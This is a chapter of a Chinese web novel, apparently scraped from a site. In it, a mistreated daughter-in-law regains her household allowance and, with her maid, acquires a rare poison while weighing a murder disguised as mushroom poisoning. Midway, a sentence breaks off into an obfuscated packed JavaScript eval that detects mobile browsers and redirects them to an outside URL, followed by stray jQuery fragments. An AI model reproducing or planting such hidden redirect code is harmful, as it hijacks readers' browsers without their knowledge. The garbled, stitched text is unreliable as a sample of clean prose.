夜深人静时，看守如漆院的其中一个婆子进来行礼：“老奴武欣，给少夫人请安。”


    夏知霜坐着受礼，虚虚抬手：“武大娘请起。”嫁来陈家那么久，这还是她头一次摆少夫人的架子。


    武氏开门见山：“少夫人日后经手的琐事皆可转给老奴，老奴不才，愿尽绵薄之力，赶早恢复如漆院的供给。”


    这可不是小事，恢复供给意味着要说服陈母不再克扣她的份例，谈何容易。


    夏知霜不知该不该信，含糊道：“那就有劳你了。”


    武氏没多留，欠身告退。


    院门一关，彩玉推断道：“武氏乃大管家郑天明之妻，有她从中筹算，咱们院子的供给也许真能恢复。”


    回忆起郑管家那看人下菜碟的嘴脸，夏知霜心里愈发没底，哂笑：“枕边风真能起那么大的作用？”


    彩玉也摸不准，未答。


    片刻，屋檐翻下来一个英气的年轻女子，对夏知霜行抱拳礼：“影卫骆怡，奉主君之命前来保护夏姑娘。”


    夏知霜惊喜交加，快步上去抬起她的手：“多谢，要辛苦你一段时间了。”


    骆怡面不改色：“这是属下的分内之事，姑娘不必客气。”


    随后她解释道，她平时会隐匿在夏知霜周围，在夏知霜遇到危险时暗中相助，若逢杀身之祸，她会立刻现身带夏知霜离开陈家。


    骆怡解释完毕就闪身离开，在黑夜中消失无踪。


    夏知霜放了一半的心，有武氏和骆怡里外配合，她的性命应当无虞了。


    三日后，如漆院的人员发生了变动。


    赵婆子犯了事，听说是好赌，常年债台高筑，她吃了熊心豹子胆，竟偷运如漆院内的物件典当掉填赌债，经人告发后，她被护院拖走，再无人见过。


    武氏上任如漆院的管事婆子，把底下的人手换成自己的班底，外人无从打探院里的消息，院内的状况也透不出去。


    陈母若想知道夏知霜和彩玉在府里的状况，全凭武氏一张嘴怎么说。


    不久，如漆院果真恢复了正常供给，少夫人该有的份例一样不少。


    夏知霜欣赏屋里刚替换的摆设，一一摸过颜色鲜艳又合身的锦衣，头戴几支新打的簪钗，吃上了三荤两素一汤的膳时，每天都吃得饱饱的！


    这才是人过的日子嘛！


    最重要的是，除了抄经外，老妖婆派给她的杂活全都有人代劳，武氏还给她安排了两个小丫头听候差遣。


    突然从伺候人变成被人伺候，夏知霜还有点不习惯，素日里不大爱使唤人。


    后来她听说，是扶微观的云鹤真人传话回来，道是陈员外的病不见起色都是因为陈家没有如约厚待府上的少夫人，致使少夫人不能替少爷尽孝心，少爷在九泉之下不得安宁，影响了陈家的运势云云。


    丈夫和儿子是陈母的命根子，事关他们两个，她哪有不重视的道理。


    加之郑管家和武氏在陈母跟前给夏知霜说了不少好话，就这么着，如漆院恢复正常供给了。


    夏知霜看着屋檐滴滴嗒嗒的雨珠，摩挲手心的厚茧，懊恼出声：“我还有些银子，要是狠心全拿出来给云鹤送去，再早点收买武氏一家，可能就不用吃那么多苦头了。”


    彩玉却不那么想。


    云鹤老道虽贪财，但扶微观好歹是观淇九地第一道观，什么金银财宝没见过，光是钱财还说不动他办事，他之前为陈家忙前忙后不过是在卖观淇首富的人情。


    至于武氏一家，彩玉没少跟他们打交道。


    无论武氏还是郑管家，他们跟其他下人没区别，那就是一个无底洞，多少钱银都喂不饱。


    再且，混到这个身份的仆役哪个不是人精，“拜高踩低”的活法融进了骨血之中，就算拿钱填满了他们的口袋，他们也不一定会马上给你办事。


    这一系列的事从速度到效率上看，必是刘宁托给手段狠辣的人代办的，那人用权摁着扶微观妥协，再以身家性命威胁武氏一家。


    只有危及性命，郑管家等精明的刁奴才肯放低身段，彻底倒向一点话语权都没有的“少夫人”。


    彩玉分析得头头是道，夏知霜耳目一新，脑海中的认知再次被刷新。


    经过几番深思，她不得不认同彩玉的推理。


    在前世受了十几年的真善美和平教育，得知有人因她之故被捏着性命威胁后，她心里揪紧了一下。


    然，回想被老妖婆虐待，被老匹夫猥亵，被下人轻慢，不安和愧疚等情绪很快不翼而飞。


    若想在这个人吃人的世道中存活下去，除了对自己狠，还要对别人狠，这是她在陈家学到的另一个真理。


    夏知霜甚至理性的判断出，刘宁的这一套威逼利诱才是办事的最高效手段，当然，这个手段离不开地位的加持。


    比如她，散了那么多钱财还不如他的一句话顶用。


    她愈发觉得，金钱和权势是这世上最美妙的东西。


    夏知霜放下读了一半的书，望着窗外的雨幕发呆，隐隐觉得自己变了。


    秋季转瞬即逝，时值寒冬。


    刘宁在前线指挥战事，一直没有消息传来，陈府却先乱了套。


    先是各地的商队遭遇匪类劫掠，损失惨重；再是有人检举陈家坑蒙拐骗多家友商，众叛亲离；而后爆出陈记店铺以次充好的丑闻，凡是在陈记买过玉饰的人纷纷堵上门去要求退货和赔偿，客源流失。


    信誉是行商的生命线，陈家一下子面临多重信誉危机。


    陈母为此焦头烂额，忙得脚不沾地，根本没空找夏知霜的麻烦，外出时也等不及捎上她。


    这事弄不好的话，陈家恐会就此衰败，轻则倾家荡产，重则家破人亡。


    夏知霜纵是不通商界之事，也能看出来这是有人故意搞陈家。


    “一直都有。”彩玉道。


    传闻称观淇首富富可敌国，那么大一笔财富，别说是普通百姓十分向往，连黑白两道都垂涎欲滴。


    随着丰瑛郡的前郡守倒台，陈家目今失去了过硬的靠山，要是没有陈父的手腕和人脉支撑，陈记怕是早就被各方势力瓦解了。


    陈母严厉教子也是出于自保的考量，为了让陈鸿彦有资格考科举，陈家明面上把家里的生意全转手出去了，又是斥巨资捐了个员外郎镀金，又是年节不落的殷勤打点各地县衙，散出去的金银是常人难以想象的天文数字。


    若是陈鸿彦高中当官，或是捐官上任后闯出名堂来，家中财富还有可能保得住。


    而今陈鸿彦亡故，陈父沉疴难愈，陈记摇摇欲坠，成了案板上的鱼肉，谁都想来分一杯羹。


    那么刘宁呢。


    他不馋陈家这块没有骨头的肥肉么？他那么爽快的答应救她，会不会也在谋划着什么？


    从前的夏知霜会天真的否认，咬定赤忱良善的刘宁不可能工于心计，起码不会趁火打她的劫。


    现在的夏知霜身心经受过毒打，已经不会轻易的信任他人，人心隔肚皮，知人知面不知心，一切皆有可能。


    毕竟要想谋求陈家的财富，从她这个对诸事一窍不通的少夫人手上夺取，总好过从老谋深算的陈氏夫妇那里夺取来得容易。


    每每想到刘宁可能会算计到她头上，她的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339515|183263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心比外面的冰霜还要冷。


    一个雨雪天，彩玉天没亮就早早出门，夜里子时方归，幸亏陈母和心腹还在商行里与人周旋，武氏得以将她的行踪瞒得滴水不漏。


    夏知霜迎到院门，帮她摘掉蓑衣斗笠，拉她到自己的卧房。


    烛火在开关门带起的寒风里摇曳，她急切地问：“拿到手了么？”


    彩玉点点头，从怀里取出平平无奇的浅绿色小药瓶。


    “毒王卜濉毕生杰作洛花毒，无色无味，一滴致命，这是现世仅存的最后一瓶。”


    卜濉是观东其中一支土著的后裔。


    当年启军举兵南下，把观淇纳入大启疆土时，部分土著跟汉人融合，部分土著避到偏远地区，自称挪族。


    挪族幽居山林，民风彪悍，不服教化，常对征兵和纳税的政令置若盲闻。


    因挪族人数众多，闹起来整个观东都不得安生，官吏有时候睁只眼闭只眼，不是特别过分的便懒得计较了。


    卜濉曾是挪族某个部落的首领，以用毒而闻名，他有个怪癖，终生不把自己制作的毒药易手他人。


    她们打听了许久才得知洛花毒的存在，为了秘密购入世间最后一瓶的洛花毒，跟卜濉的后人也磨了数月。


    若非他的后人实在穷困潦倒，要不是“丛贞”也是挪族人，这洛花毒还真到不了彩玉手上，也多亏门房上下被她们收买，进出只象征性搜一下身，不然这洛花毒进不了陈府大门。


    夏知霜捧着来之不易的小绿瓶，爱惜得不得了，再三琢磨：“倘若用到它，该如何神不知鬼不觉呢。”


    “这不难，”彩玉笑了下，信心十足，“俩老货俱爱山珍，雨季常食鲜菇，旱季偶尔点名要干菇汤，只需在膳食单子上有山菇的日子下进去即可，事成之后，死因可推到误食毒菇上。”


    观淇九郡一到雨季就漫山的蘑菇，每年不少人死于误食毒菇，有的是穷苦百姓不得已采来充饥，有的是好这口的人把相似的有毒菇和无毒菇混淆了。


    这套说法或许行得通，只不过……


    “是不是太简单了？”夏知霜认为不够缜密，“这可是青阳的陈家，一旦出事，县衙必不肯轻易结案，到时洛花毒如何躲得过仵作的勘验？风险太大了。”


    “今时不比往日，多少人盼着陈家倒台，好吞并陈家的财产，老货在这个节骨眼出事，想来官府乐见其成，不会多加盘查。”


    彩玉不以为然，继续往下说。


    “如果他们要追查到底，咱们多送点银子给仵作等人。你或许不清楚，很多人都是这么做的，太多冤案掩埋在雪花白银底下。”


    夏知霜知道她说的话有一定的道理，左思右想，仍觉不妥。


    诚如她所言，现在有很多人乐见陈氏夫妇丧命，但陈氏夫妇去后，各方势力也很乐意送他们的儿媳下去见他们。


    等陈家没了人，才好光明正大地霸占无主的财产，所以陈氏夫妇死后，县衙绝对会严查。


    彩玉是想活命，但能拉陈氏夫妻陪葬的话，也不觉得亏。


    夏知霜不一样，她求生欲满满，不到万不得已，不会轻易用自己的生命去赌，洛花毒拿在手也只是想增加一个底牌。


    她看着彩玉豁出去的神情，此刻无比清晰的认识到，人心善变又难测，即使磨合了那么久的彩玉亦不能全然信赖。


    纵然关系再好，对方也可能会为了达到自己的目的利用她、引导她做损己利人之事，切莫被这段时间融洽的感情蒙蔽了。


    唯有自己才是最可靠的——夏知霜小心翼翼的把小绿瓶藏进暗格内，在心中这般严肃的告诫自己。